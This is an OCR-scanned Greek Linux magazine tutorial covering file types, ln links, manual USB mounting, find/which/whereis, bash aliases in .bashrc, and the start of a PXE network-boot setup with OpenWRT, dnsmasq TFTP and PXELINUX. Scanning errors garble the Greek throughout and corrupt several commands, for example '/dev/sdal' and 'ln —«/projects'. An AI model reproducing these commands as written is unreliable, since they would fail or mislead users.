Συγκεκριµένα, ο χαρακτήρας αυτὸς δηλώνει το εἶδος του αρχείου και 
κατὰ κάποιον τρόπο τη φύση του. Ας δούμε ορισμένες anó τις τιμὲς 
που μπορεί να πάρει ο συγκεκριμένος χαρακτήρας, μαζὶ µε τις avri- 
στοιχες ερμηνείες: 


«-»: Ένα απόλυτα φυσιολογικό αρχείο, τύπου regular ;) Τέτοια εἰ- 
vai τα αρχεἰα κειµένου, τα βίντεο, τα τραγούδια, οι φωτογραφίες, 
τα προγράμματα και πάει λέγοντας. 


«d»: Κατάλογος. 


«l»: Σύνδεσμος τύπου symbolic. lia ra hard link χρησιμοποιείται 
και πάλι η παύλα (-). 
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Δημιουργία συνδέσμων 


Ὅσο ασχολείται κανεὶς µε τη γραμμή εντολών, τόσο διαπιστώνει ὁτι η 
χρησιμότητα των links (hard και symbolic) εἶναι ιδιαίτερα αυξημένη. Πα 
να αναδειχθεὶ η χρησιμότητα των δύο ειδών links, μπορούμε να κάνου- 
µε στο μυαλὸ µας τις εξἠς απλουστεύσεις: Αφενός, μπορούμε va pa- 
νταζόμαστε τα symbolic links σαν ra shortcuts που δημιουργούνται στα 
Windows. Αφετέρου, τα hard links μοιάζουν µε «ζωντανά» αντίγραφα 
των αρχείων µας, τα οποία ενημερώνονται αυτόματα yia ὁποιες αλλα- 
γὲς κάνουμε στα πρωτότυπα. Επιπρὀσθετα, αν διαγράψουµε κατὰ λάθος 
κάποιο anó τα πρωτότυπα αρχεία, ro αντίστοιχο hard link θα παραμείνει 
ενεργὀ και πλήρως λειτουργικό! 


Για να δημιουργήσουμε éva link, πρέπει να χρησιμοποιήσουμε το npo- 
γραμματάκι In. Ας δούμε μερικἁ παραδείγματα. Ας υποθέσουμε Ori 0£- 
λουµε να δημιουργήσουμε µια συντόμευση εντὸς rou home directory, 
προς τον κατάλογο /home/pvar/projects/deltacast/videos/final. lia va 
πετύχουμε κάτι τέτοιο αρκεί va εκτελέσουµε το εξής: 


ln -s /home/pvar/projects/deltacast/videos/final ~/episodes 


Με auróv rov τρὀπο, στον προσωπικὀ µας κατάλογο θα δημιουργηθεὶ 
ἑνας κατάλογος µε ro ὀνομα episodes! όπως υποψιάζεστε, αν μπούμε σε 
αυτὸν τον κατάλογο θα βρούμε τα περιεχόμενα του /home/pvar/projects/ 
deltacast/videos/final/. Ας υποθέσουμε ropa ὁτι θέλουμε να διατηρού- 
µε μονίμως ἑνα εφεδρικὀ αντίγραφο του κειµένου -/projects/deltacast/ 
epguide.txt. Πα να πετύχουμε κάτι τέτοιο, αρκεἰ να δημιουργήσουμε ἑνα 
hard link προς το συγκεκριμένο αρχείο. Επομένως θα πρέπει να δώσουμε 
κάτι τέτοιο: 


ln —«/projects/deltacast/epguide.txt -/documents/.epguide.backup. 
txt 


Με αυτὸ rov τρόπο, στον κατάλογο documents (εντός του home directory) 
θα δημιουργηθεἰ va hard link rou epguide.txt. To hard link θα ονομά- 
ζεται .epguide.backup.txt κι εφόσον του δώσαμε ὀνομα που ξεκινάει µε 
τελεία, θα εἶναι και κρυφὀ αρχείο. Πλέον, μπορούμε va εἶμαστε ἠσυχοι 
ότι οι ιδέες µας yia τα μελλοντικά deltaCasts δεν θα χαθούν. Ακόμα κι 
av σβήσουμε το epguide.txt κατὰ λάθος, θα έχουμε ανέπαφο και πλήρως 
ενημερωμένο ro hard link! 
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Προσάρτηση USB stick 


Στο προηγούμενο άρθρο της σειράς κάναμε Aóyo για ro nog μπορούμε va 
δούμε τα περιεχόμενα µιας κατάτµησης. Αναφερθήκαμε στην προσάρτη- 
ση (mount) και στους καταλόγους προσάρτησης (mount points). Βέβαια, 
η περιγραφἠ µας ἦταν επιφανειακἡ και δεν άγγιξε καθόλου την ἴδια τη δι- 
αδικασἰα της προσάρτησης (mounting). Εδώ που τα λέμε, η προσάρτηση 
TOV κατατμήσεων των μόνιμων αποθηκευτικὠν μέσων πραγματοποιείται 
Alyo-noAU αυτόματα. Παρ’ όλα αυτά, η χειροκίνητη προσάρτηση παρου- 
σιάζει ιδιαἰτερο ενδιαφέρον. Υπάρχουν ορισμένες περιπτώσεις, βλέπετε, 
κατὰ τις οποίες η προσάρτηση δεν γίνεται αυτόματα’. Αναφερόμαστε στη 
σύνδεση £vóc USB stick, ενὸς εξωτερικού δίσκου ἡ και µιας κάρτας µνή- 
unc -- εφόσον το σύστημα διαθέτει card reader. Σε καθεμιὰ απὀ αυτὲς τις 
περιπτώσεις, η λογική που ακολουθούμε εἶναι πανομοιότυπη. Στη cuv£- 
χεια λοιπὸν θα υποθέσουμε ὁτι συνδἑἐσαµε éva USB stick και θέλουμε va 
TO προσαρτήσουμµε χειροκίνητα. 


Ὅπως έχουμε πει, η προσάρτηση µιας κατάτµησης πραγματοποιείται σε 
ἑναν κατάλογο -- κατὰ προτίμηση κενὀ. Επομένως, yia την προσάρτηση 
του USB stick μπορούμε να ξεκινήσουμε δημιουργώντας évav νέο κατὰά- 
λογο, ο οποίος θα χρησιμοποιηθεί ως mount point. Ακολουθώντας την 
παράδοση, θα δημιουργήσουμε τον εν λὀγω κατάλογο εντὸς του /mnt: 


sudo mkdir /mnt/my usb 


H χρήση rou sudo εἶναι απαραίτητη, διότι οι απλοί χρήστες δεν xouv 
δικαίωμα εγγραφἠς εντὸς του καταλόγου /mnt. Τώρα που διαθέτουμε 
TOV κατάλογο yia την προσάρτηση (/ΠιΠΙ/ΠΙΥ usb), μένει να μάθουμε και 
το ὀνομα της κατάτµησης. Στην εργασία αυτἠ θα µας βοηθήσει το npó- 
γραμμα dmesg. Μόλις το εκτελέσουµε θα εμφανιστούν τα πιο πρὀσφατα 
μηνύματα του πυρήνα του λειτουργικού συστήματος. Οἱ γραμμὲς που θα 
εμφανιστούν θα μοιάζουν µε αυτές: 


[4587425.409500] usb 1-1.2: new high-speed USB device number 4 
using dwc otg 


[4587425.511167] usb 1-1.2: New USB device found, idVendor-0781, 
idProduct-5412 


[4587425.511197] usb 1-1.2: New USB device strings: Mfr-1, 
Product-2, SerialNumber-3 


[4587425.511214] usb 1-1.2: Product: Cruzer Fleur 


[4587426.522417] sd 0:0:0:0: [sda] No Caching mode page present 


[4587426.522446] sd 0:0:0:0: [sda] Assuming drive cache: write 
through 


[4587426.525706] sda: 5481 
[4587426.528920] sd 0:0:0:0: 


[4587426.528949] sd 0:0:0:0: [sda] Assuming drive cache: write 
through 


[sda] No Caching mode page present 


[4587426.528969] sd 0:0:0:0: [sda] Attached SCSI removable disk 


1. H αλήθεια εἶναι πως σε όλες τις σύγχρονες διανομές που προορίζονται για χρήση desktop, Ta αποθηκευτικἁ 
μέσα προσαρτώνται αυτόματα. Ωστόσο, όταν δεν χρησιμοποιούμε περιβάλλον γραφικὼν και δεν εἶναι ενεργές οι 
ανάλογες υπηρεσἱες αυτόματης προσάρτησης, τότε σίγουρα βολεύει να γνωρίζουμε nac κάνουμε «χειροκίνητες» 
προσαρτήσεις. 
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Ανάμεσα στα πιο πρὀσφατα μηνύματα, εἶναι σίγουρο πως θα δούμε την 
αναγνώριση του USB απὸ τον πυρήνα και την αντιστοἰχησή του σε κἄποιο 
device file. Εφόσον πρὀκειται για αποθηκευτικἠ συσκευἠ USB, το device 
file nou θα ἐχει αντιστοιχηθεἰ θα έχει τη γενικἠ µορφή sd(x). Στη θέση 
του {x} θα δούμε κάποιο γράμμα, το οποίο εξαρτάται απὀ το πλήθος 
των υπολοίπων αποθηκευτικὠν συσκευών TOU υπολογιστή µας, αλλὰ και 
anó το εἶδος τους. Όλα αυτά όμως εἶναι αδιάφορα. Εμείς πρέπει απλά 
να εντοπἰσουμε ro device file nou ἐχει αντιστοιχηθεἰ στο USB stick. Στο 
παρἀδειγμὰ µας, η ζητούμενη πληροφορία εμφανίζεται στη γραμμὴ µε ra 
έντονα γράμματα. Βέβαια, το device file εμφανίζεται και στις υπόλοιπες 
γραμμὲς που σχετίζονται µε ro USB stick. Ωστόσο, η γραμμὴ που έχουμε 
σημειώσει µε ra ἐντονα γράμματα παρουσιάζει ιδιαἰτερο ενδιαφέρον. Σε 
αυτήν, εκτὸς απὀ το device file της συσκευής, αναφέρονται και τα device 
files των κατατµήσεων rou USB stick! Το δικὀ µας USB περιείχε μία μόνο 
κατάτμηση και γι’ αυτὸ το λόγο εμφανίζεται μόνο το «581». E, λοιπὀν, 
για να αποκτήσουμε πρόσβαση στα δεδοµένα rou USB stick µας, apkei 
να προσαρτἠήσουµε το συγκεκριµένο device file στον κατάλογο nou δη- 
μιουργήσαμε προηγουμένως. Πα το σκοπὀ αυτό αρκεὶ va εκτελἐσουμε 
κάτι τέτοιο: 


sudo mount -t ntfs /dev/sdal /mnt/my usb 


Εναλλακτικὰ, αν ro USB µας εἶναι φορμαρισμένο σε FAT32, θα πρέπει va 
δώσουμε κάτι τέτοιο: 


sudo mount -t vfat /dev/sdal /mnt/my usb 


Αν το USB stick εἰχε περισσότερες κατατμήσεις (πράγμα σπάνιο, αλλά 
ὀχι αδύνατο) θα μπορούσαμε va προσαρτἠήσουµε και αυτές. Ωστόσο, οι 
προσαρτήσες θα έπρεπε να γίνουν σε ξεχωριστούς καταλὀγους. Τέλος, 
ας θυμόμαστε ὁτι εφὀσον ἐχουμε προσαρτήσει ἑνα USB stick, πριν το 
αποσυνδέσουµε απὀ το σύστημα θα ἦταν φρόνιμο να το anonpooaprr|- 
coups! Πα το σκοπὀ αυτό προσφέρεται το πρὀγραμμα umount, στο οποίο 
δίνουμε σαν παράμετρο το αντίστοιχο device file: 


sudo umount /dev/sdai 
ἡ TOV κατάλογο στον onoio έγινε η προσάρτηση: 


sudo umount /mnt/my usb 


Αναζήτηση αρχείων 


Πλέον γνωρίζουμε πάρα πολλά yia τα αρχεία, ενώ έχουμε αποκτήσει και 
μερικὲς βασικὲς γνώσεις yia το χειρισμὸ των κατατμήσεων. Μολαταύτα, 
οὐτε και ropa θα μπορούσαμε να πούμε ὁτι εἶμαστε σε θέση va χειρι- 
στούµε µε ἄνεση τα αρχεία του συστήματος. Βλέπετε, για να μπορέσει 
κάποιος va εργαστεἰ µε κἀποιο αρχείο, θα πρέπει προηγουμένως να ΕΡΕ 
γνωρίζει τη θέση του! Ευτυχώς, το Linux διαθέτει αρκετά εργαλεὶα S% : 

αναζήτησης και εἶναι βέβαιο ὁτι µε κἄποιο απὀ αυτά θα καταφέρουμε 
σίγουρα va ξετρυπώσουμε το αρχεἰο nou µας ενδιαφἑρει. 


e whereis: Το συγκεκριµένο εργαλείο εντοπίζει εκτελέἑσιµα, 
μαζὶ µε ra συνοδευτικἀ αρχεία βοήθειας (για το man). 


e which: Όπως και το προηγούμενο, ro which μπορεί va 
βρει για εμάς τη θέση οποιουδήποτε προγράµµατος ζητή- 
coupe. Ωστόσο, σε αντίθεση µε ro whereis, ro which ασχο- 
λεἰται μόνο µε ro εκτελέἑσιµο αρχείο. 
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e find: Me rn βοήθεια rou find μπορούμε va εντοπἰσουµε κυριολεκτι- 
kå οποιοδήποτε αρχείο! Επιπρὀσθετα, εἶναι δυνατὸ va χρησιμοποι- 
ἡσουμε τους ειδικούς χαρακτήρες (*, 7, [ και 1), στε va δηµιουρ- 
γήσουμε οσοδἠποτε σύνθετα κριτήρια αναζήτησης. To find δέχεται 
πολλὲς παραμέτρους, ενώ υποστηρίζει και τα λεγόμενα regular 
expressions. Πρόκειται για ἑνα πανίσχυρο εργαλείο, η εκμάθηση 
του οποίου όμως ξεφεύγει απὸ το θέμα µας. Πάντως, στις περισσὀ- 
τερες περιπτώσεις η ακόλουθη σύνταξη θα εἶναι επαρκής: 


find σε κάποιον κατάλογο -name κάποιο αρχείο 


Δίνοντας κάτι τέτοιο, το find θα ξεκινήσει µια αναζήτηση για το 
αρχείο «κάποιο αρχείο». H αναζήτηση δεν θα περιοριστεἰ εντὸς 
του «σε κάποιον κατάλογο», αλλά θα ξεκινήσει απὀ αυτόν και θα 
επεκταθεἰ σε όλους τους υποκαταλὀγους. Ας δούμε τώρα κι va 
παράδειγµα, µε τους ειδικούς χαρακτήρες που έχουμε γνωρίσει: 


find /home/pvar/ -name "test[1-5]" 


Εκτελώντας ro παραπάνω, ro find θα αναζητήσει ra αρχεία µε ovó- 
ματα ἴεςί1, test2, ..., test5. H αναζήτηση θα ξεκινήσει anó το home 
directory του χρήστη pvar kai θα επεκταθεί σε ὁλους τους unoka- 
ταλόγους. 


Χρήσιμες cuvovupisgg 


Μετά απὀ όλα ὁσα εἶδαμε γύρω anó τα αρχεία, κανένας φυσιολογικὀς 
άνθρωπος δεν θα θέλει να ξανακούσει γι’ αυτά ;) Πιστεύουμε λοιπὸν Orl 
έφτασε η opa να δούμε κάτι πιο εὐκολο, άμεσα αξιοποιήσιµο κι αρκετά 
ενδιαφἑρον. O λόγος γίνεται yia uia δυνατότητα που προσφέρει το BASH 
και η onoia σχετίζεται µε τα λεγόμενα συνώνυμα (aliases). Εν ολίγοις, 
αυτή η δυνατότητα επιτρέπει την αντιστοϊχηση μίας λέξης σε ἑνα σύνολο 
προγραμμάτων. Με αυτό τον τρόπο, οποτεδήποτε θέλουμε va εκτελέσου- 
µε TO συγκεκριµένο σύνολο προγραμμάτων, αρκεἰ να πληκτρολογήσου- 
µε το αντιστοιχισμένο ὀνομα και να πατήσουμε [ENTER]. Προφανώς, µε 
αυτό τον τρόπο η εκτέλεση προγραμμάτων στο BASH µπορεἰ va απλοποι- 
ηθεἰ αλλὰ και va επιταχυνθεἰ, σε μεγάλο βαθμὀ. Χώρια που ἐτσι ικανοποι- 
οὐμε και την τεμπελιά µας. H σύνταξη που χρησιμοποιείται για τον ορισμό 
ενὸς alias, φαίνεται παρακάτω: 


alias επιθυμητό όνομα = ' πρόγραμμα 1 ; πρόγραµµα 2 ; ... ; 
πρόγραμμα K ' 
To ελληνικὀ ερωτηματικὀ τοποθετείται yia τον διαχωρισμό rov npoypau- 
μάτων και εξασφαλίζει ότι η εκτέλεση καθενὸς θα ξεκινά αφού ολοκλη- 
ρωθεἰ η εκτἐλεση του προηγούμενου! Ας δούµε ὁμως και £va συγκεκρι- 
μένο παράδειγµα, που παρεμπιπτόντως αποτελεἰ éva anó τα αγαπημένα 
aliases του γράφοντα: 


alias k-'clear; ls -lha' 


Mikpó και θαυματουργὀ. Αφού ορίσουµε το συγκεκριμένο alias, κάθε 
φορὰ nou θα πατάμε το γράμμα k και στη συνέχεια το [ENTER], θα εκτε- 
λεἰται το πρόγραμμα clear κι αµέσως μετὰ ro «Is -Iha». 


Εδὠ πρέπει να τονίσουμε ὁτι τα aliases δεν ἐχουνε καθολικὴ ισχύ, οὐτε 
παντοτινἠ. Αυτὸ σημαίνει ὁτι τα aliases που ορίζουμε σε ¿va τερματικὀ 
δεν ισχύουν αυτόματα kai για τα άλλα. Επιπρὀσθετα, αν αποσυνδεθούµε 
anó το συγκεκριµένο τερματικὀ και συνδεθούμε εκ νέου, τα aliases που 
εἶχαμε ορἰσει θα ¿xouv πάψει να υφίστανται! Πα να ξεπεράσουμε αυτό το 
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προβληματάκι, πρέπει να ενσωματώσουμε ὁσα aliases µας ενδιαφέρουν 
στο αρχείο ρυθμίσεων rou BASH. Με auróv τον τρόπο θα ορἰζονται και θα 
ενεργοποιούνται αυτόματα, κάθε φορά που θα κάνουμε login. To BASH 
διαθέτει αρκετά αρχεἰα ρυθμίσεων, αλλά για την εργασἰα που εξετάζουμε 
αρκεί va επἐµβουµε στο κρυφὀ αρχείο µε ὀνομα .bashrc. To εν λόγω ap- 
χείο βρίσκεται στον προσωπικὀ κατάλογο κάθε χρήστη και επηρεάζει τη 
συμπεριφορά του BASH yia τον εκάστοτε λογαριασμὀ και μόνο. Πα την 
επέμβαση στα περιεχὀμενά του αρκεἰ να το ανοίξουμε µε κάποιον text 
editor. Ένας δηµοφιλἠς και εὐχρηστος editor εἶναι το nano. Αν υπάρχει 
στο σὐστημά µας, αρκεἰ να δώσουμε 


nano —«/.bashrc 


Μόλις εκτελεστεἰ το πρὀγραμμα, θα εμφανιστούν τα περιεχόμενα TOU 
.bashrc. Εμεἰς, χρησιμοποιώντας τα βελάκια ἡ το πλήκτρο page down, 
πρέπει να μεταβούμε στο τέλος του αρχείου. Εκεἰ δεν έχουμε παρά va 
προσθέσουμε ὁσα aliases θέλουμε kai να αποθηκεύσουμε το αρχείο, na- 
τώὠντας το συνδυασμὀ πλήκτρων [CTRL+0]. Στη συνέχεια, για va τερ- 
ματίσουμε τη λειτουργία του nano και va επιστρέψουµμε στην κονσόλα, 
αρκεἰ να πατήσουμε ro συνδυασμὀ πλήκτρων [CTRL+X]. Αυτό ἡταν! Στο 
EENG, κάθε φορά nou συνδεόµαστε στο κἐλυφος θα ενεργοποιούνται και 
τα αγαπημένα µας aliases. 


AuT τη φορὰ σας αφήνουμε για τα καλά. Δεν θα σας φορτώσουμε µε 
ἄλλη θεωρία. Τουλάχιστον ὀχι σε AUTÒ το τεύχος. Ευτυχώς που ἐρχονται 
και οι γιορτές, οπότε θα μπορέσετε ὁλοι va πειραματιστεἰτε και va εξοι- 
κειωθεἰτε µε óoa εἰπαμε. Με τη νέα χρονιά θα εµβαθύνουμε ακόµα περισ- 
σὀτερο και κανένας δεν θα ἐχει δικαιολογία για να µην µας ακολουθήσει! 


To φόρτωμα της αγαπημένης µας 
διανοµἠς anó δισκάκι εἶναι μάλλον 
ξεπερασμένη πρακτικἠ. Σας αρέσει να 
κουβαλάτε απὀ μηχάνημα σε μηχάνημα 
τα δισκάκια σας; Σας αρέσει ἄραγε ν΄’ 
ακούτε τα γουργουρητὰἁ του CD/DVD 
drive, óco περιμένετε να φορτωθεί το 
σύστημα; Σ’ εμάς ὀχι και πολύ. Γι’ αυτὸ 
κι αποφασίσαμε va απλοποιήσουμε τη 
διαδικασία -- και ταυτόχρονα να την 
κάνουμε πιο cool: Anó εδὠ και στο 
EENG, τα μηχανήματα του σπιτιοῦ µας θα 
φορτώνουν Linux ... δικτυακά! 


Αυτή την οθόνη 
θα την έχουμε 
δει σίγουρα 
αρκετέἑς φορές, 
ειδικἀ σε virtual 
machine που για 
Κάποιο λόγο δεν 
έχουν καταφέρει 
να ξεκινήσουν. 
Πρόκειται! yia TO 
PXE ROM, της 
εικονικής κάρτας 
δικτύου! 


Το ΡΧΕ ΚΟΜ δεν 
είναι τίποτα ἆλλο 
απὀ µια μνήμη, 
κολλημένη πάνω 
στην κάρτα 
δικτύου. Η μνήμη 
αυτή περιέχει 
κώδικα που τρέχει 
στα πρώτα στάδια 
rou booting, 

πριν καν υπάρξει 
επικοινωνία µε TO 
δίκτυο. 
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Aiyo πολύ, όλοι γνωρίζουμε ὁτι ἑνας υπολογιστής ἐχει την δυνατότητα να 
φορτώσει το λειτουργικό TOU µέσω δικτύου. H λειτουργία αυτή ονομάζεται 
network booting, αλλά µπορεί να τη συναντήσουμε και σαν LAN boot ἡ 
PXE boot. Αυτή η διαδικασία προβλέπει το κατέβασμα μερικῶν αρχείων, 
τα οποία περιέχουν μεταξύ ἄλλων και τις διαθέσιμες επιλογές, δηλαδή 
τα λειτουργικά συστήματα που διατίθενται για φόρτωση. Στη συνέχεια, 
ο συνδεδεμένος υπολογιστής φορτώνει κἄποιο λειτουργικὀ µέσω TOU 
δικτύου, κατεβάζοντας όλα τα αρχεία anó κἀποιον ἆλλο υπολογιστή! 
Συνήθως, τα δίκτυα που υλοποιούν ἑνα τέτοιο σύστημα απαρτίζονται 
απὀ τερματικἁ µε αρκετά περιορισμένες δυνατότητες. Οι υπολογιστὲς 
αυτών των δικτύων κατεβάζουν το επιλεγμένο λειτουργικὀ σύστημα και 
παράλληλα ra αρχεία του εκἀστοτε χρήστη, WOTE va μπορεὶ οποιοσδήποτε 
να δουλέψει anó οπουδήποτε. Στη συνέχεια θα εξετάσουμε το ὀλο 
θέμα, ὀχι για να στήσουμε va εταιρικὀ δίκτυο αλλά για να καλύψουμε 
τις ανάγκες µας µε évav ὀμορφο κι εντυπωσιακὸ τρόπο. Ας πούμε ὁτι 
βαρεθήκαμε να βάζουμε ἑνα δισκάκι CD σε κάθε υπολογιστή του σπιτιού, 
όταν θέλουμε να ξεκινήσουμε µια διανομὴ Linux ;) 


Network boot from Intel E1BHBH 
Copyright (C) 2003-28008  UMmare, 
Copyright (C) 1997-2000 


Inc. 
Intel Corporation 


CLIENT MAC ADDR: HB ΗΓ 29 BD 7C D2 GUID: 
PXE-E53: Ho boot filename received 


PXE-MBF: Exiting Intel PXE ROM. 
Ūperating System not found 


Πριν προχωρήσουμε, ας δούμε nog ξεκινάει ἑνα σύστημα µέσω δικτύου. 
H λογικἠ εἶναι ακριβὠς ἴδια µε εκείνη του booting απὀ οποιοδήποτε ἆλλο 
μέσο. Ο υπολογιστἠς ξεκινάει κι αναλαμβάνει δράση το PXE ROM της 
κάρτας δικτύου. Πρόκειται yia ἑνα μικρὸ npóypaupa αποθηκευμένο σε µια 
ROM, στο hardware του υπολογιστή. To εν λόγω πρόγραμμα λειτουργεί 
cav DHCP client και βοηθάει τον υπολογιστή να συνδεθεί στο δίκτυο και 
να ξεκινήσει το network booting. Αφού το PXE ROM πάρει την απαραίτητη 
διεύθυνση IP, λαμβάνει κι ἑνα αρχείο απαραίτητο για ro boot του 
συστήματος. Το αρχεἰο auro δεν εἶναι ἄλλο ano rov network bootloader! 
Στη συνέχεια λοιπὸν αναλαμβάνει δράση o bootloader kai μεταφέρει anó 
το δίκτυο τον πυρήνα κι όλα τα αρχεία που συγκροτούν ἑνα λειτουργικὀ 
σύστημα. Όπως αντιλαμβάνεστε, µε την ἴδια λογική ξεκινούν και οι live 
διανομές Linux, anó ra δισκάκια 
CD/DVD. Το µόνο nou αλλάζει εἶναι 
η πηγἠ προέλευσης των αρχείων. 
Στην περίπτωση του network 
boot τα αρχεία προέρχονται anó 
κάποιον υπολογιστή ἡ συσκευή του 
δικτύου, EVO στην περίπτωση των 
live CD/DVD τα αρχεία προέρχονται 
απὀ το εκάστοτε δισκάκι. Με άλλα 
λόγια, η λογικἠ του network boot- 
ing εἶναι απλἠ και γνώριµη. 
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Opaia τα λες, αλλά noc; 


Για να στἠήσουμε ἑνα τέτοιο σύστημα, θα χρειαστεί να σηκὠσουμετον ÕIKÒ 
μας DHCP server στο δίκτυο, ἡ va τροποποιήσουμε τον ἠδη υπάρχοντα. 
Σε αυτή τη δουλειά μπορεὶ να µας βοηθήσει το OpenWRT}, που εἰδαμε 
στο άρθρο που ξεκινά απὀ τη σελἰδα 24 του τεύχους. Βλέπετε, οι DHCP 
server των απλών router δεν επιτρέπουν πολλὲς-πολλὲς επεμβάσεις στη 
λειτουργία τους. Αφού ξεµμπερδέψουµε µε την ρύθμιση του DHCP server, 
θα χρειαστεί να σηκώσουμε τον δικὀ µας ΤΕΤΡ κι NFS server, yia το 
σερβἰρισµα των αρχείων. Οι πρώτες μεταφορὲς δεδομένων γίνονται µε TO 
Πρωτόκολλο ΤΕΤΡ, ενώ στη συνέχεια αναλαμβάνει το NFS. Το OpenWRT 
χρησιμοποιεί το γνωστό µας: dnsmasq, για τις υπηρεσίες DHCP kai DNS. 
Για καλἠ µας τύχη, ὁμως, το dnsmasq μπορεί να λειτουργήσει εὐκολα 
*kai* ως ΤΕΤΡ server. Επομένως, δεν θα χρειαστεί να εγκαταστήσουμε 
και να ρυθµίσουµε κάποια πρὀσθετη υπηρεσία, αλλά va ενεργοποιήσουµε 
µια ἠδη υπάρχουσα. Μετά anó ὁλα αυτά θα εγκαταστήσουµε και θα 
ρυθµίσουµε rov δικὀ µας NFS server. Όπως καταλαβαίνετε, όλα αυτά θα 
γίνουν στο ρουτερὰἁκι µας, στο οποίο θα έχουμε εγκαταστήσει το Open- 
WRT. Επἰσης, σημειώστε ὁτι στο router θα πρέπει να έχουμε προσθέσει 
εξωτερικὀ αποθηκευτικὀ χώρο, ὁπως ακριβώς περιγράφουµμε στο άρθρο 
για το OpenWRT. (Το διαβάσατε, ἐτσι δεν εἶναι;) 


Το OpenWRT 
επιτρέπει να 
ρυθµίσουµε 
ακριβώς όπως 
θέλουμε τον ΤΕΤΡ 
server. Εμείς, απλά 
ενεργοποιήσαµε τη 
σχετική υπηρεσία 
ΚΙ opicape ποιο 
αρχείο (bootloader) 
θα ανακοινώνεται 
στους πελάτες... 


ΓῚ gatekeeper - DHCP and D! x 


E es C) 192.168.1.1/cgi-b n/luci/sstok-8369ed02839d04ccc4b66157082e9032/admin/network/dhcp/ 


gatekeeper | OpenWrt Backfire 10.03.1 | Load: 0.00 0.00 0.00 | Auto Refresh 


DHCP and DNS 


Changes: 0 


Dnsmasq is a combined DHCP-Server and DNS-Forwarder for NAT firewalls 


r~ Server Settings — — — 


sen 2 | TFTP Settings 
Enable TFTP server 


i | ΤΕΤΡ server root [srv/netboot 


(D Root directory for files served via TFTP 


Eames 
Filename of the boot image advertised to clients 


Network boot image 


ctive Leases ~ 
MAC-Address 


Hostname IPv4-Address 


? 
android-6de6589fbdffa419 
beefmeat 
? 


192.168.1.237 
192.168.1.192 
192.168.1.189 
192.168.1.134 


Leasetime remaining 


11h 3m 48s 
6h 39m 43s 
6h 29m 22s 
9h 13m 23s 


Static Leases m= μμ ας " n 
Static leases are used to assign fixed IP addresses and symbolic hostnames to DHCP clients. They are also required for non-dynamic interface configurations where only hosts with a 
orresponding lease are served. 
| Use the Add Button to add a new lease entry. The MAC-Address indentifies the host, the IPv4-Address specifies to the fixed address to use and the Hostname is assigned as symbolic name to 
| the requesting host. 


Hostname 


islave-pc 00:1c:c0:aa:bb:ee El a 
CjAda | 


GReset (OSave| Save & Apply 


Powered by LuCI 0.10.0 Release (0.10.0) 


1. Θεωρητικά θα μπορούσαμε va το kåvoupe Και στο dd-wrt, αλλά στην πράξη θα συναντούσαμε αρκετὲς δυσκολίες. 
2. Το χουμε δει αρκετὲς φορὲς όταν παϊζουµε µε το OpenVPN (βλ., n.x., To σχετικὀ άρθρο στο deltaHacker 007). 


To Syslinux Project 
έχει δημιουργήσει 
µια σουίτα µε 
bootloader, 

για κάθε λογής 
αποθηκευτικὀ 
μέσο. Σίγουρα 
έχουµε συναντήσει 
μερικούς απ΄ 
αυτούς, ὀπως TO 
ISOLINUX στα 
δισκάκια CD/DVD 
και στο SYS- 
LINUX στα USB 
stick. Τώρα θα 
γνωρίσουμε και TO 
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ΤΕΤΡ μέσω dnsmasq 


H ενεργοποίηση του ΤΕΤΡ server στο OpenWRT πραγματοποιείται απὀ 
την καρτέλα Network κι απὀ το μενού DHCP and DNS. Μετά απὀ κλικ 
στο Server Settings επιλέγουμε την καρτέλα ΤΕΤΡ Settings κι ἐτσι 
εμφανίζονται όλες οι διαθἑσιµες ρυθμίσεις (εἶναι μόλις 3). Πα αρχή, 
φροντίζουμε μόνο για την ενεργοποίηση της εν λόγω υπηρεσίας, 
τσεκάροντας ro Enable ΤΕΤΡ server. Στη συνέχεια θα χρειαστεἰ να 
ορίσουμε τον κατάλογο nou θα χρησιµοποιείται ως root, για όλα ra αρχεία 
(κι ενδεχομένως τους φακέλους) nou θα σερβίρει ο ΤΕΤΡ server. Εμεἰς 
αποφασίσαμε ο φάκελος αυτὸς να βρίσκεται στο /srv/netboot. Εκεἰ θα 
προσθέσουμε *óAa* τα απαραίτητα αρχεία για το netboot, anó τον boot- 
loader μέχρι τα αρχεία των διανομών! Ορἰζουμε, λοιπὀν, στο σχετικὀ 
πεδίο των ρυθμίσεων, το /srv/netboot. Τέλος, δίνουμε το ὀνομα του 
αρχείου, το οποίο θα ανακοινώνεται στους πελάτες του δικτύου ως boot- 
loader. Εμεἰς θα βασιστούµε στο διάσημο PXELINUX bootloader, οπὀτε 
εισάγουµε στο σχετικὀ πεδίο το «pxelinux.O» (χωρίς τα εισαγωγικά). 
Πλέον, εἰμαστε ἐτοιμοι και μπορούμε να πατήσουμε Save and Apply, yia 
va αποθηκευτούν και να ενεργοποιηθούν οι ρυθμίσεις µας. Τώρα πρέπει 
να φτιάξουμε τους καταλόγους που θα χρησιμοποιεί o ΤΕΤΡ server και va 
τους... γεµίσουµε µε ra απαραἰτητα αρχεία. Πα το σκοπὀ auró θα πρέπει 
να κλείσουμε το web interface και να συνδεθούµε στον router µας, pe TO 
PuTTY. Αφού κάνουμε login στο μηχανάκι µε το OpenWRT, δημιουργούμε 
για αρχἠ τον βασικὀ κατάλογο του ΤΕΤΡ: 


mkdir /srv/netboot 


PXELINUX! 
7 ΓῚ Download - Sysinux Wiki κ V u m 
& > ο fi O wwwsyslinuxorg/wiki/index.php/Download DIE πι Ξ 
Δι Login’ create account ^ 
mm - [Page || discussion | | view source || history | — - - δω. ] 
Download 


Contents [hide] 


SYSLINUX 1 Download from Kernel.org 
| 2 WARNING 
navigation 2.1 Warning-Ubuntu-Update 

m The Sysiinux Project 3vcs 

= Recent changes εντ ο 

= Random page Download $ from Kernel.org 

= Help 
[———— The latest version of SYSLINUX can be downloaded in tar.gz. tar.bz2, and zip formats from kemel.org&@. This download includes both the source and official pre- 
syslinux — — — ^1 7 compiled binaries that should work for most users (See also Official Binaries). Version changes are available in the -LSM files. Freshmeat & has a good page that tracks 
ΜΠΕΤΙ syslinux. 
|  ΡχΕΙΝυΧ A 
| -a Eam The SYSLINUX download includes PXELINUX, ISOLINUX and MEMDISK as well. 

E 

= EXTLINUX 

| = μεμπκ WARNING 


Mone At least SuSE, Mandriva, and Ubuntu use a version of SYSLINUX modified with a patch called "gfxboot". This is a highly invasive and unsupported modification of 


bits & bobs SYSLINUX. Please avoid these versions if possible. 
| = Presentations. 
. download 

a Screenshots 


Warning-Ubuntu-Update 


As of 2010-10-19, Ubuntu 10.10 (Maverick Meerkat) uses Syslinux 4.01 with GFXBoot.c32 (now officially included) and includes several special patches to allow gfxboot 
